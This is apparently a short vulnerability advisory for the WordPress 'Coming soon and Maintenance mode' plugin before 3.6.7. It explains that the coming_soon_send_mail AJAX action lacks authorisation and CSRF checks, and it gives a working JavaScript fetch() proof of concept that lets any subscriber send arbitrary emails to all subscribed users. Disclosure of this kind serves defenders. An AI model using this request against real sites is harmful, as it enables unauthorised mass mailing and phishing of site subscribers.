WordPress Plugin Vulnerabilities

Coming soon and Maintenance mode < 3.6.7 - Subscriber+ Arbitrary Email Sending to Subscribed Users

Description

The plugin does not have authorisation and CSRF checks in its coming_soon_send_mail AJAX action, allowing any authenticated users, with a role as low as subscriber to send arbitrary emails to all subscribed users

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=coming_soon_send_mail&massage_title=title&massage_description=description&massage_from_name=from&[email protected]",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));
